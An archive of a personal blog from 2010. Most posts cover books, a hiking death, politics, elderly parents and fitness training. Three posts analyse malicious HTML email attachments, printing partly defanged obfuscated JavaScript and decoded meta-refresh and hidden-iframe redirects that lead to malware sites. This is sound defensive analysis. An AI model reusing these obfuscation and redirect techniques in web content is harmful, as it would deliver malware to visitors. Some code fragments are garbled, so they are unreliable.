Wednesday, December 29, 2010

Ambivalence about The Hunger Games

My book club is reading The Hunger Games by Suzanne Collins which is ostensibly for older kids and is hugely popular.

I raced through the audio version and was more than a little obsessed by it and I was a little concerned about that obsession.  You see, I could have written a very similar version of this book and fortunately for my own mental health, I did not write any such thing.  I had two very different responses to this book and at first I was thinking it was ambivalence and now I realize it was the reaction I would have had as the rather brooding, morbid child I was and the relatively happy adult I am now.

The book is a deliberately distressing topic that involves children being forced to fight and kill each other like gladiators where the last one alive is the winner. 

As an adult, I liked the book as long as I was able to forget that many of these characters are children (the main characters are older which felt ok), but the second that it became clear that there were also children under the age of 16 involved, I most definitely did not like it at all.  The character development and imagery are excellent, and the plot twists were generally ok, but I mentally kept pulling out and rewriting it because I've had a lot of practice mentally creating these scenarios and it's why I had to sort of hold my experience of the book at a mental arm's length. The feeling I was getting was that of what I imagine a junkie's is.  Not wanting to go back for too long to the mental place that I was at as a kid. 

As a pre-teenager I was having crushes on girls and the occasional boy, (but mostly girls) and I had no context for understanding those powerful feelings at all.  All I knew is that I really, really liked whoever I was crushed out about and I wanted to spend time with them and I wanted to tell her how I felt even if I didn't know what I was feeling (I didn't come out until I was 20, so I really was at sea here.)

So what a better situation to tell someone you care about them than a life and death (mostly death) situation where one of you isn't going to live anyway?  At nigh as I was going to sleep, I would mentally spin scenarios where I and another girl or even several friends were in a prison or concentration camp and were being systematically tortured and killed, with all the adjunct death scene conversations.  Yes, I was a really dark kid, and am lucky to come out of it only with a tendency to get depressed (I think I got addicted to the feeling of your Serotonin level lowering when you get bad news that slowly sinks in - It feels really good for a very brief moment just before things really get awful)

When I understood the scenario of The Hunger Games, I mentally started to shake a little, in more ways than one.  The kid who wanted to experience that all over again, and the adult who most definitely did not.  Listening to the book was actually very easy and really difficult for me.

The other thing was that kidlet was really really opinionated about the plot and what should happen next.  "Well if I were writing it, then this should happen. or this, or this, or maybe this."  It was actually pretty exhausing, though I as a adult, who knows how to write, was happy to help briefly before calling time on the whole mental exercise.

My reason for holding it at bay is not wanting to go back to that dark place again.  I fear getting stuck there, even though I don't think I would.

And then of course there's the envy/jealousy factor.  Susanne Collins had the mental fortitude to turn this all into a book series.  I didn't.  Part of me knows that I certainly could have done it, but the price was and is much too high for me.

Though this does bring up.  Why do we write such things for children?  Is it because that's what they want to read?  I certainly would of read it as a kid, but I certainly would have been (actually am) a die-hard Harry Potter fan and there's a very marked difference between the incredible intensity of the Potter series and the distressing premise of The Hunger Games.  Harry Herminone, and Ron are forced to fight evil, but they are not exactly forced to outright kill other kids.  Think how different things would be if Hogwart's was in a bloody war with Slytherin?  Feels completely at odds doesn't it?

Anyway, The Hunger Games movie may become a reality in 2013 or so (Lionsgate owns the rights as of this writing).  Some rather interesting trailer-like items are on You Tube right now but I don't know what they have to do with anything.

There are other books in the series and I don't know if I'm going to continue or not.

Sunday, December 12, 2010

How to Make Yourself Really Hard to Find - Go the Other Way

Michelle Yu was on a training hike on Mt. San Antonio.  Her plan was to climb Mt. San Antonio then go East along the Devil's Backbone and then at the Baldy Notch take the ski lift down.

For reasons no one will know, but can pretty much be only explained by being lost in the fog/cloud, she didn't go East but instead confused everyone by going North towards Dawson Peak and fell into a very steep area called Fish Fork Canyon.

Her body was located at 7900' and the lowest elevation between Mt. San Antonio and Dawson Peak is 8600'.  At a minimum she fell 700' but she could have been much higher (like 9400' or even 9600' or even the summit though that seems a stretch).  Not surprisingly the cause of death was multiple blunt trauma.

This is a good lesson in how easy it is to be confused when you can't see the area around you.  This is a route Yu had taken many times in the past.  This is not a choice she intended to make as there wasn't any obvious discernible reason to go North.  I have been totally confused when I heard she was in Fish Fork Canyon as when I looked up where Fish Fork Canyon was it didn't have anything to do with where Yu was intending to go.  It took this photo from this KTLA video broadcast to really make it clear.

No wonder it took four days to find her.  Even if I had a dog with me who said the trail went North I probably would have assumed the dog was mistaken since I know the planned route was East.

This is one situation where a GPS is preferable to map and compass.  If you're in a white out a map and compass don't really help as you can't see other features to orient on.  However even a compass would have made a difference.

Thursday, December 09, 2010

The Michelle Yu Search: Use the Dogs First

Tragically Michelle Yu was killed early this week from a fall during a training hike in the Mt. Baldy area.  The coroner's report is not out yet, but it's more than likely that she slipped on some ice in a narrow portion of the area called the Devil's Backbone and fell 1000'-2000' to her death.  Her body was located by a helicopter in Fish Forks canyon.

Given that the details of the search wouldn't of affected the outcome I feel that I'm not being terribly tacky in doing some arm chair hindsight looking about the search

When people go missing in the mountains near me I tend to set up a Google Alerts Search.  This time because there is more that one Michelle Yu, the keywords I used were: Michelle Yu hiker.  As a result I have read every internet post that uses those keywords and am familiar with what the news broadcasts included which included details of her route and I was able to review photos of the trail.

Though she was training alone, her route was a common one and well known.  She was going to climb Mt San Antonio then traverse via the Devil's Backbone over the the Mt. Baldy ski lift and ride it down.  She was seen at "the top."  Which was implied to mean somewhere before the traverse.

The Devil's Backbone is a narrow in places ridge with a series of very steep ravines and canyons along both sides.  A map of the route can be found here (her route is the left portion going up to Mt San Antonio and then across to the right).  Photos of the trail can be seen here - in particular page down to the 6th photo and imagine that with ice on it - yikes. While her hike was not a technical one, she was surrounded by a whole lot of rugged terrain which is why is took 4 days to locate her body.

After a day or two the broadcasts started mentioning that 4 dogs were now being used.  This totally got my attention.  "Why only now?  That's completely backwards."

I know that 30-40 people were searching for Yu and that's very admirable, but even the news casts admitted that a dog can do the work of 40 people.  Granted the terrain was too steep for most dogs, but trail was not.  Effective and judicious use of tracking dogs could have saved a ton of time.

One sheriff spokesperson called the search a needle in a haystack.  I disagree.  Yes, it's a needle in a haystack, but you can make the haystack much smaller.  I have only trained one dog to track so I'm no expert but still these questions haunt me.

We know that she was seen near the top of Mt. San Antonio and intended to traverse over to the Mt Baldy ski lift.  She never showed up.  The traverse is essentially a straight line and she was training, not on some adventure.  She was on that traverse, so it doesn't take a genious to figure out that she has probably fallen.  So why not drop two dog/handler teams via helicopter at the start of the traverse?  And hold the gung ho searchers back before they go tramping all over the track.  Have the dogs follow the track until it stops.  Then start searching there!  Release the gung ho humans and let them try not to kill themselves in the steep areas.  I know holding humans back when time is ticking is just awful, but being patient and let the dogs do their job could really pay off.

Thursday, December 02, 2010

Mixed Feelings about Wiki Leaks

I am a fan of Wiki Leaks and I believe very much that information wants to be free.
The work that they do exposing suppressed information is phenomenal and disturbing.

This CNN video montage shows the US killing innocent civilians including 2 reporters.

And that's very important information that should be released.

However, honestly I have very mixed feeling about releasing diplomatic cables.  We need to provide a place where our diplomats can speak freely, and to have that compromised is worrisome.  This isn't military information that someone is trying to hide.  It's diplomatic opinions on the stability of leaders and regimes.  While I will no doubt read them, I'm not sure how that helps us, but I can guess how it hurts.  We already know China and Iran and North Korea are difficult to deal with.  Maybe releasing this information is just going to make things harder for our diplomats and I'm not sure I think we're better off knowing that the diplomats agree that those countries are a pain.

Wednesday, November 24, 2010

The Creative Drive; Art and Music

I wonder what the drive to create things is.  It's a drive and you can have it even when you don't have the skills to do what you want to do and it can make you (me) crazy.

I'm a good writer, a good photographer, I'm great visualizing things.
I learned to paint decently.  I'm not the best drawer but I do ok.

But I struggle with audio and music.  I love music and learned guitar at an early age though stopped due to a hand injury though I might be able to do it some now.

But what I'd love to be able to do is composition.  Hearing Cirque du Soliel is an exercise in ecstasy and torture as I really would love to be able to create that kind of music, but even after studying composition in college some my mind just doesn't seem to work that way very well.  It's a struggle in a way that I have trouble describing, but I'm sure it's similar to people who struggle with visualizing things.

But I don't think I should ever accept "I can't" as by not accepting it I accomplish some very rewarding things.
I can paint, I can run, I am working on being able to climb to altitude, I'm competing in herding with a talented dog who has behavior issues and many people would have given up on him.  All these things I had to work at and overcome mental ":I can't" obstacles, and it means so much more when I succeed.

And I've have more training beyond college and guitar lessons.  While my hands were injured I couldn't play an instrument, so instead I learned to listen to music very carefully.  Someone told me that the brain of a musician listening to music is much more active than the average person and I can totally understand why.  When I'm listening to music carefully I can follow the components.  What is that violin doing?  How about the guitar or the drum, and that vocal is incredible, and is that 3/4 time, funny it's not a waltz but just feels like it...

But there's still a block.  I can analyze music up to a point (some things are too subtle for me to follow), but I am just amazed at the incredible complexity that Cirque or Mozart come up with.  Not to mention I find a lot of classical music kinda boring (save for Herr Mozart), so I was thrilled when Cirque appeared.

Now I'm realizing what I love is film, play, and even TV (yes, Survivor) music, but I really don't know how to move forward with my enjoyment of it.  One way is to get a lot better at the piano (and consider replacing my sorry old completely worthless family piano - though my mother would kill me if she found out.), but what I love is the full effect of all the instruments at once.  Real composers can hear the full effect in their head.  That's a skill I've yet to develop and I'm not sure how to do it.

There's a scene in a Juliette Binoche film (possibly Alice et Martin or maybe it's the oh so cheery Three Colors: Blue) that I just love.  She is composing a piece with her partner.  He is playing what they' have so far and she says "Wait Wait" in French "Attend attend..." and then makes a great suggestion of what should be added.  I would dearly love to create this way.  In DVD special features I love the ones where they talk about the music and the process just as much as I love how they talk about creating the animation and the art.

Thursday, November 18, 2010

When Machines are Unsupervised - autogenerated web sites

You know it happens when you mistype your bank's internet address and you get this weird site where everything is just a strange web search. These sites are just generated by a machine using only keywords and it's maddening.

Well here's one that's gone even further.

This is a site in China that's apparently using purely machine translation:

Pretty much any link has an almost understandable title, but when you get to the content it's utterly strange.

I found this site as it was mysteriously the very first match to my Googling
windows virus hiding places

Which i can assure you is not comprehensible even to a trained professional.

The second match is only slightly better:  It's clearly also Chinese.  What's interesting is that it's probably well worth deciphering (this one is sort of understandable) because the Chinese have some of the best in the world hackers so they would likely know.

Thursday, November 11, 2010

Another Blogger's :"Stalker"

Another blogger was describing a really funny story of her having a puppy dog type [human] stalker for a period of time while she was at an out-of-town event. The "stalker" was harmless and it was just someone who always arranged to be where ever she was while she was there.

I turned to another blogger (the blogger density was a little high at that moment), and said "She has a stalker. How come we don't have stalkers?" The other blogger made some mention of boring (she was referring to herself which is funny because her blog is definitely not boring) and the one with the stalker does have quite a funny blog and a good size following.

I can't figure out if I'm jealous or not. On the surface, I felt relief that it's not me. I've had to deal with human male puppy dogs in college and it's pretty awkward. It helps that I'm older and married now. But deep down there's an entsy whitezy tintzy part that is envious.

I have to keep in mind that we have vastly different audiences. Her blog is entertaining tales of the adventures of her and her dogs. My main blog is an intensely geeky dog training diary dedicated to addressing the training issues that I face with my dogs. It's not high entertainment mostly - it's me training my dogs one of them who we've been working through serious behavior issues. I'm also so possessive of it intellectually that it's not hosted by blogger, it's on my own site. So there's no commenting and the only way I know people are listening is if they tell me in person or via email.

Then there's this blog: The Non-Dog blog were I rant/whine about whatever the hell I feel like. While it is often entertaining, it has no focus as it's about 3 different blogs in one. And I'm thinking of starting another focused (ha - fat chance) on writing short fictional vinettes based on small bits of reality.

So no blog stalkers. As far as I know. This really is a good thing I must keep reminding myself. I also have to keep in mind that there are particular times when I've chosen not to blog about something as I really didn't want to deal with the truly dangerous types. I do this for fun - I don't need to get hurt or harassed about it. Funny how the Tea Partiers or Sarah Palin don't count as dangerous - yet.

The Follow Through Part of the Brain

So why is it sometimes the "follow through" portion of the brain doesn't seem to connect with anything else?

I was looking all through my parents house for some mail that an insurance company said that they'd sent (and I had no reason to doubt them) I had gone through all the stacked up mail on the living room, the dining room, beside the computer and all its stacks of printed email (there's an age distinction right there - I only print things if I need to take them with me or write on them.) No sign. I addressed the issue with the vendor as best I could anyway, but having mail disappear when i just went through piles and piles of it really seemed strange.

My sister gave me a clue. She thought she saw mom stash mail into the ginormous pile of coupons that Mom likes to go through. (She doesn't actually do anything with the coupons. I've just decided it's her way of shopping.) She couldn't have put mail in there. Right? Could she have? I finally asked. Mom is there any chance that there is mail in your coupon stack? "Oh yes. It looked important so I put it here."(Allegedly to give it to my brother but that never happened). In that stack, were over due notices, a cancellation letter, and a letter that I'd asked to be sent a year ago. "Mom these are really important pieces of mail." Talking to a wall. My dog listens to me better. This is someone who does not have dementia at all, just doesn't get it sometimes.

I grabbed their phone and quietly left the house and proceeded to rant about it to my sister, while I was standing on their driveway. My sister was sympathetic but amused. Mom had put it aside so that my father wouldn't bury it on the kitchen table, and that my brother should see it, but that part (the follow though) didn't happen. Never mind I can find things on the kitchen table. Never mind that burying something in a different pile usually doesn't help, and offers no protection.

Is this our fate? Do parts of our brain stop talking to each other?

I've set up a box titled "Mail" where my mom should put important looking mail into. I explained the idea a few times. I know it's not going to work, but I have to try.

Monday, November 01, 2010

Parental Issues Again

I haven't blogged about my parents for a while and it's been a nice break, but I really need to now.

My father is becoming more forgetful and I'm dreading that I need to convince him to see a Dr. about it. If there really is something wrong, there are medications that can help but I have to make a good case without scaring him too much. Being evaluated for cognitive skills is not a slow process and it will take more that getting him to his regular Dr. - he's likely going to also have to see a neurologist or a Dr who specializes in evaluating seniors. My Dad is renowned for arguing with doctors (he has a PhD in Electrical Engineering so he's started pulling this "I'm Dr. Clary" crap - never mind that I have more medical knowledge than he does.) and he's just getting worse about it.

Doing some Googling is just stressing me out. While there are 4 possible medications he has to be actually diagnosed with Alzheimer's (the A word that I've been avoiding) for him to be on them. If it's just Mild Cognitive Impairment (MCI) then there is no medication and the solutions are more along the lines of maintain a health lifestyle, don't drink a lot, and stay organized. (Sigh).

I'm dreading this conversation and I know he's very fearful about it. For his whole life he's been the Alpha Male smartest person in the room, and it's been hell on him. And therefore it's been hard on everyone else.

For whatever reason, I am the one he's the least argumentative with. Probably because I'm the youngest. Anyway convincing him of difficult things usually becomes my job out of necessity. I so do not like this role, but this is something I need to do and if I don't try I will regret it for the rest of my life.

Why is the government the enemy?

GOP has done such a good job of making the government the enemy.

Which is amazing as it was the lack of government limits that allowed the banks and Wall Street to create this most recent economic crash. How do they do that?

A friend is fascinated with how some politicians are so good at using fear that they can convince people to vote against their own interests, like tax cuts for the wealthy, which will hurt them financially because their will be less money for the government to support little things like schools, and streets.

Saturday, October 23, 2010

The Anxiety and Angst of Electronic Storage

This has got to be either pathological or totally human.
My reliance on storing a lot of my life electronically is causing me some existential angst.

In particular with any creative work like photos or writing.
When you have a photograph or a book it exists. You can hold it. but it's also hard to replicate and you can't instantly share it with 300 of your friends which is a highly addictive thing and something I longed for for years.

Electronic storage is a whole lot like life. It can vanish without much warning. Yes, you can make backups, but what if you vanish and the knowledge of how to get to that information dies with you? What then? Some poor soul is left with trying to untangle things and most likely just starts canceling accounts or deleting things. This is probably as it should be, but it's actually causing me some stress. What if there are important photos that someone might want? Certainly even within my family we are systematically casing my parents house for relevant photos. Should I make printouts of every even remotely interesting photo? From the film days I have several hundred photos and I'm always sort of cursed having them, but now I kinda like that they're there. They take up space and no one can make them go poof at the press of a button.

I'm rarely reminded that I'm in my 40's, but maybe this is one of those types of things. That fear of just disappearing even though that is our fate. What I find interesting is that the one thing that I really find reassuring is that I have created a few large paintings that I like enough that i've decorated my house with them. They command a certain presence and there's something about large paintings that seems to earn a certain respect. It makes me want to make more even though I go through a lot less pain with photography. Maybe that's why they get more respect, I can't just click a button, I have to sweat some to make them.

But it's funny. Why do i care? I think it's that fear of just disappearing. Of wanting to control things after I are gone. I keep thinking that I should leave long instructions by my computer about how to get into every account and photo and writing location (like this one) which might not be a bad idea, but it might be easier just to make real copies of things and also make sure everyone knows where the sites are. It would also really help if I had just one photo site, but I have too much stuff for that, so most of it is stored locally and I'm now reminded that I need to back that disk up again.

And just even coming up with a plan is stressful and send me off in to the same "Why do I care?" cycle again. I need to ask other people what they think but this is never an easy question.

Wednesday, October 20, 2010

The Tea Party is a Phase

The breathtaking hypocrisy of the Tea Party (The Threatened [White] Party - people on gov't assistance protesting against the gov't), is just so astounding that the only way I can wrap my mind around it is to believe that it just has to be a phase. Given the average age I don't think I'm too far off. We'll know more in 20 years. Actually we'll know more in a shorter period of time I think.

Rolling Stone has done a couple of articles about them. The latest one being here.

TPer's are so very Us and Them. Even to the point of Good gov't assistance for US, and BAD gov't assistance for all those lazy non-white people who are just sucking the Good people dry. Sigh.

The only odd thing is the people manipulating the TPer's are younger (Paul, Palin and O'Donnell come to mind) and know what buttons to push. Fear sells especially in the Red state areas. And utter stupidity doesn't seem to slow them down, however you know that the people pushing them into the spot light are much smarter. It's enough to make you paranoid, but I believe in our internet age where information travels very quickly and it's much harder to control it - which is why you see a lot of conservatives arguing about facts and creating weird fantasies like Obamacare Death Panels (TM) that they think if they keep repeating enough times it will make it true. Ironically these are tactics that Hitler and Stalin used.

Wednesday, October 06, 2010

The Amazing Race in the UK - Shouting at the Screen for Fun and Amusement

I and a huge fan of The Amazing Race. I've seen every one of them.
But they are rarely in places that I've been to, save for US places like San Francisco and Boston and Hawaii. Until now.

In the first episode they went to the UK, landed in Heathrow and went to Stonehenge ( to pick up a clue and on to Eastnor Castle in Herfordshire (

I've never been to Eastnor which looks lovely when someone isn't dumping water on you, but I have been to Stonehenge and in particular I've driven to Stonehenge.

I've driven in the UK on multiday trips around 3 times. Driving on the left side of the road is a significant adjustment and was a very difficult adjustment the first time I did it. While I was able to drive ok, it took me quite a while to adjust to having the entire rest of the car on my left side. The thought of a bunch of jet-lagged, rushed Americans most who have never driven in the UK, loose in cars that are not small was more than a little alarming and I'm really surprised that there weren't more issues (or accidents) that they had.

When I've driven in the UK (this is pre GPS) I used a 1/2 inch thick driving atlas. Several of them stopped and picked up a map, but that's probably not enough without help as Stonehenge is not off a major motorway, but instead on A-303 (A map is here).

If you're not in a hurry, it's fairly easy to find and a lovely drive. As you might guess our racers did not have quite the nice time. Lots of complaints about no signs which prompted much shouting from me. "They are there if you take the time to read them!"

But to be fair, looking at Streetview there are not giant "Stonehenge this way" signs. Just the highway numbers so you have to know where you want to go. And in the case of the Stonehenge turn off the highway sign is painted on the street (you can see it here.) That never occurred to me before. Your navigator has to be able to see what's painted on the streets and The Amazing Race puts the second person in the back seat to accommodate the camera people. That's a huge handicap.

Though once you get there I assure you you won't need a sign. This is what you see from the highway.

Anyway it's a great episode (the parts at Eastnor Castle are both hilarious and traumatic), and if you see this while the season is running you can watch it here:

Sunday, October 03, 2010

Hitting the Wall: Rethinking Altitude Sensitivity

I went yesterday doing an experimental day hike to Mt. Hoffman in Yosemite and pretty much everything I was assuming about altitude is wrong and this is very good news.

I went over to Yosemite to do a day hike of Mt Hoffman which is 10,850'.

In the past

I would hike until 7200' or 9600' and suddenly all the excess energy or oxgen (wasn't sure what) in my muscles would fizzle away. I could feel the it just dissipate or drain away with me going "wait, come back!" The 7200' limit I consistently hit on Shasta when I hiked up from Bunny Flat and also on Ralston Peak. The 9600' happens also on Shasta after spending a night at Horse Camp and it's also happened on Lassen (though Lassen seemed to happen more around 9000'.)

So I had some elaborate theory about there must be some change in the air pressure at that level. This is how you get all sorts of weirdo, crackpot theories and superstitions. You think you are seeing something consistently, but in fact you are managing to cause it in some other way.

Recently I've been working on a problem with my running. My foot would drag after 1 mile which was somewhat heat related, but the biggest factor was working too hard and letting my heart rate go up to 90% bpm which is not maintainable. Cutting it back to 85% of my max bpm made a huge difference and then I could go much further without a leg drag.

So I thought it was worth trying this out at altitude. My plan for today saw to attempt to climb Mt Hoffman (10,850') from the May Lake trailhead (8800'), but wear a heart rate monitor and keep my heart rate at 85%. I also took Diamox and Aspirin to increase my chances of success.

It short it WORKED!! I summitted and had energy to spare, and all my altitude theories are totally wrong.

So what has been happening is that my heart has been working too hard while climbing and my heart is not pumping enough oxygen to keep things going and I run out of energy which in cycling circles is called "bonking." It's worse at higher altitudes because the lower air pressure makes the oxygen harder to come by. I'm an endorphine junkie and I love working hard when exercising and the feel of my heart beating and being able to keep going hard.

I had to stop a lot to keep my heart rate down as especially at altitude it always wanted to climb over 85%. It makes for slow climbing and while I'm almost always never jealous of 20-somthings, their heart rates can work much harder without working anaerobically, and they can go racing by me. Hmphf. In theory, over time, they can run into the same problem and do on real mountains like Shasta.

What's cool about this is that I can work on my fitness level at sea-level and that will no doubt help and it much easier to obtain.

My original plan was to spend the night and do the climb again to see if there was a difference if I had adapted more to the elevation, but that's not necessary.

So what was happening? Why the consistency in elevation?
I think it was just a fabulous coincidence. That moment happened when I "hit the wall" and it turned out to be about the same amount of time that my heart rate was working too hard. In Shasta it happened more than twice, but I was leaving from the same location and working just as hard.

This is so fantastic as it means that the world has opened back up to me. I know I can now summit Whitney. Shasta is another issue as you have to be able to climb it within a certain amount of time. I'll work on my fitness level over the Winter and see if I can make a difference in the amount of time I can run before my heart rate climbs above 85% when either running above 4.0 mph or at some incline.

I might also try my Black Friday (day after Thanksgiving) snowshoe of Mt Shasta, but if I'm able to climb higher there could be an avalanche issue and I might be better off going over to Hidden Valley and up towards Shastina. Or just make things simpler and go to Lassen Park and Brokeoff Mtn which is right at the park entrance (the road through Lassen is closed in Winter.)


At first I thought what I was running into was called Oxygen Dept, but it's sounding more like:

Hitting the wall (Glycogen depletion)

What's interesting about this is:

Athletes engaged in exercise over a long period of time produce energy via two mechanisms, both facilitated by oxygen:

How much energy comes from either source depends on the intensity of the exercise. During intense exercise that approaches one's VO2 max, most of the energy comes from glycogen.

So with low oxygen glycogen production is conpromised.

A little more info here

An excellent description of the exercise process is here:

Oxygen debt which I first thought I was dealing with is the term as it's more referring to the process when the body is at rest.

Tuesday, September 21, 2010

Html virus inspired by a toy decoder ring

Here's a junior level virus attempt that's inspired by the cereal box decoder ring.
It's much easier to understand, and actually kinda fun to go through.

Subject: Please sign and send back to me asap


Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Forgot the Attachment - Here ya go!

Content-Type: text/html; name="85104attach.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="85104attach.html"

After decoding we have:

[less than symbol] script type='text/javascript'>

var s = "=nfub!iuuq.frvjw>#sfgsfti#!dpoufou>#1iuuq;00qbsuzofbs/sv#!0?";
m = "";
for (i = 0; i <>; i\<>

m is empty
iterate over the length of s, i is the counter

This is the important part:
m += String.fromCharCode(s.charCodeAt(i) - 1);

pretty basic, shift the letters to the one before
n becomes m, f become e
Looking at
to see what's the order of the punctuation (! becomes space, # becomes ", etc)
The first character = becomes a less than symbol, but I removed it to keep things from executing.

meta http-equiv="refresh" content="0;url=" />

This rest is just small stuff to get the script to work. Actually I think the & is put in the wrong place.

m=[28th position] insert an &
m=[23rd position] insert an !

document.write(m) sends the string to the browser. The "refresh" is what makes it all happen.

So what is at
Not much according to the text only browser Lynx. It says "Unexpected network read error"
jsunpack shows that there appears to be a redirect sending you further into the site into a Themes/card.js area that is trying to run another javascript. It's not clear if this is smoke or malware or something else.

Monday, September 20, 2010

Decoding html viruses followup

The last post was getting too long so it was time to start a new one.

Now the subject line says "contract for sports complex" and going to through some of the previous decoding steps and feeding it into jsunpack leads us to a complicated scenario that the CyberCrime & Doing Time blog goes into here.

The browser visits a hostile site

It tells me that x.html is
info: [meta refresh]
info: [iframe]

which just looks like your basic Can we sell you some cheap pills? SpamRx. or in this case a porn site. BUT! you get this free surprise inside an iframe (that's an HTML thingy).

The sports complex one I went through decoded to (I've removed the opening angle bracket to keep the browser from trying to interpret it and changed http to h.ttp):

PLEASE WAITING.... 4 SECONDS meta h.ttp-equiv="refresh" content="4;url=h.ttp://" /> iframe width="0" height="0" src="h.ttp://"> /iframe>

So while you are seeing your browser is getting something else entirely.
jsunpack tells me it contains a file called 3.wav file which I find pretty strange., but on further examination it's part of the xxxvideo porn site so it's more smoke.

What I need is more info about:

A quick google of shows one link and it was created by yours truly when I did the above jsunpack run.

So I finally finished my local install of the text only browser "Lynx" running on a Linux system only to find out the site is gratefully down.

However the domain name is owned by someone:
Whois Server:
Referral URL:
Status: clientDeleteProhibited
Status: clientTransferProhibited
Status: clientUpdateProhibited
Updated Date: 13-sep-2010
Creation Date: 13-sep-2010

Expiration Date: 13-sep-2011

And the contact info is hidden by the registrant Monkier:

Registrar: MONIKER

Registrant [3157846]:
Dennis Nanni
6310 Rock Creek Rd
Tullahoma TN 37388 US

This domain was just registered a week ago, but still isn't really functional or was and is no longer.

So I still don't know what they're up to, but it's getting harder and harder to find out just what it is, though I have a feeling that if the site answered then jsunpack would have more to say about it.

Decoding "html" viruses

My company has been getting a rash of viruses that come in as .html attachments.
The latest set has subject lines of "Delivery Status Notification (Failure)"

The interesting and useful thing about this viruses is that they are in obfuscated text form and you can decode them with effort.

If you look at the text it comes in as "Base 64" encoding and looks like:

Content-Type: text/html; name="4727911.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="4727911.html"
This example is:


Which you can put through a decoder at:

Which gives you a Javascript all on one very long line.

Then you can take that and put it through a "beautifier" at

Which yields something that looks like a long unerased whiteboard.
various things added lie [lessthan] to keep the system from thinking this is a script or html.

function etgr(zj4r) {
bo97, bvgy = "",
kpn8, iyv2 = "0ocdfum;ip/qrlx=nt.-:v he>s\"a[lessthan]",
p3je, j446 = iyv2.length;
eval(unescape("%66un%63ti%6Fn r%61iy%28ku%79c){%62vg%79+=%6Buyc%7D"));
for (p3je = 0; p3je < bo97 =" zj4r.charAt(p3je);" kpn8 =" iyv2.indexOf(bo97);"> -1) {
kpn8 -= (p3je + 1) % j446;
if (kpn8 < 67y="%22%22;">s-0me-h;c=ox>ft:.h-00n.s-v:d;=x e\"moc>;a[lessthan]msatmsol[lessthan].ituqchiix-e[lessthan]u0:alpaxr");

So far the point of these viral scripts is to get the browser to go to a website and download and install malware. The majority of this script is junk. What you're looking for is something that can make a URL. So it's the longer lines that you want to look at.

Let's examine
eval(unescape("%66un%63ti%6Fn r%61iy%28ku%79c){%62vg%79+=%6Buyc%7D"));
eval(unescape("%66un%63ti%6Fn r%61iy%28ku%79c){%62vg%79+=%6Buyc%7D"));

By putting the stuff in quotes into yet another online URL translator at

The first line says

function raiy(kuyc){bvgy =kuyc}

Define a function called raiy that takes a value called kuyc and sets bvgy equal to it.

and the next says


The second line means write nothing so that's more junk.

The line
kpn8, iyv2 = "0ocdfum;ip/qrlx=nt.-:v he>s\"a<",

Looks way odd, but remember most of this is smoke, so keep the elements in mind.
This line sets two variables kpn8 and iyv2
How are these used in the scripts?

kpn8 is used but its meaning is changed immediately:
kpn8 = iyv2.indexOf(bo97);

which given that bo97 is nothing ("") I actually don't know what indexOf nothing does but 0 seems a safe bet.

and iyv2

p3je, j446 = iyv2.length;

The length of that string is 31.
The last list called the previously defined function raiy and sends a 0 to it.

By the way, the meaning of the Javascript indexOf and charAt at explained here:

Looking back over the script I think we currently have a whole lot of possibly nothing.

The very last line is very suspect:

etgr("0i\"vda0>s-0me-h;c=ox>ft:.h-00n.s-v:d;=x e\"moc>;a<.ituqchiix-e

Out of desperation I googled
and learned that other people where chasing the same thing down and were using this very cool (do I still get to say that?) site that also has an online decoder to which you can feed urls or scripts:

js unpack can handle multiple levels of Javascript so it goes through the same steps I did but then does another one.

And we get:
//eval function raiy(kuyc){bvgy+=kuyc}
//eval document.write(bvgy);bvgy="";
//document.write (s) [less than]meta equiv="refresh" content="0;url=">
[less than] meta http-equiv="refresh" content="0;url=h[.]ttp://" />

(I inserted the [.] to break the link.)

Bing Bing Bing! We have a winner - a URL. The jsunpack site goes on to check that the link has since been removed and is no longer a threat. Same scenario. Someone broke into that site and uploaded the virus x.html and then send out a bunch of .html emails that point to it and the victim's browser then downloads it and (if the use is an "Administrator") then installs it.

This is why on Windows it's a Really Good Idea to not be a user who has Administrator access when you're doing non-administrative things like reading email.

Now I really want to know how the unpacker was able to decode that last line in the scripts.

PS An excellent write up of an older (but easier to decipher) outbreak can be found at:

Thursday, September 16, 2010

Treadmill Running - a new record for slow

i managed to run 4 miles today on a treadmill. It took me 63 minutes which is close to what some people can walk, but I was running/jogging.

Same approach. Everytime my pulse got to 150 or 151 I dropped my speed by 0.1 or 0.2 mph. Started at 4.8 then to 4.6 then dropped it to 4.0 where I stayed until 2+ miles then I dropped it to sub 4.0 mph for the rest of the time.

While it was nice to know that I could go 4 miles which I've never done before, I think it might be a better use of my time to work on extending the amount of time that I can go at above 4.0 mph while keeping my pulse under 150 bpm. I can do this in 30 minutes instead of an hour (an hour on a treadmill is a long time even with music and watching cute kids learn soccer) unless I suddenly get a whole lot more fit and it takes longer for my pulse to go over 150. It's problems like these you wish for. The other cool thing was knowing that if I wanted to I could have gone longer.

I do need to replace my shoes as even though they've only been used on a treadmill they are less springy than they used to be.

Sunday, September 12, 2010

Treadmill Running Breakthrough

For a while now I've been struggling with the issue that after running a mile, my right foot starts to drag and this really limits how well I can improve endurance-wise. I'm in better shape than that and this is a major impediment.

The issue was twofold which has made solving it a bit harder.

Heat on my back was the major problem as when a spot on my spine got hot the nerve conduction was compromised. This week I solved this by running in a one piece bathing suit that doesn't have a back (I also wear shorts over it too.). Doing that seemed to make a difference, but I was still struggling some after about 1.3 miles.

That's when I went back and did some more research on endurance training. I discovered in an earlier post that I'd been happily running at 90% of my max which is great mountaineering training where you have to be able to work at or near the point where you are working anaerobically, but it you want to increase your endurance you have to go slower.

In "The Outdoor Athlete" by Courtenay and Doug Schurman (which you can get at, they have a section on Endurance Training.
They define 4 levels of intensity

  • Recovery below 65% Maximum Heart Rate (MHR)
  • Distance Aerobic (low intensity) Session 65-75% MHR
  • Tempo Aerobic (medium intensity) Session 75-85% MHR
  • Anaerobic (high intensity) Session > 85% MHR

I'd been working out at 160 bpm so I choose 150 bpm (even before looking up the above) as a limit. That works out to be around 85% of my max heart rate. This is pretty high, but it's difficult for me to keep my working heart rate under that when I'm really exercising and it seemed worth trying as a starting point.

A note on Max heart rate. If you really want to know your max heart rate get on a treadmill with a heart rate monitor and run till you drop and note your heart rate as you're dropping. I am not joking. All of the formulas are just estimates. 220-your age is off (by 5 for me). Even the more accurate 209-.7(your age) is off as I get older. (I should probably insert the usual "Please consult with your Doctor before trying to establish your max heart rate" caveat.)

So after a light meal (1/2 a sandwich) and equipped with lemonade (though I usually have Gatorade), in my bathing suit and shorts with my ipod and heart rate monitor off the gym I went.

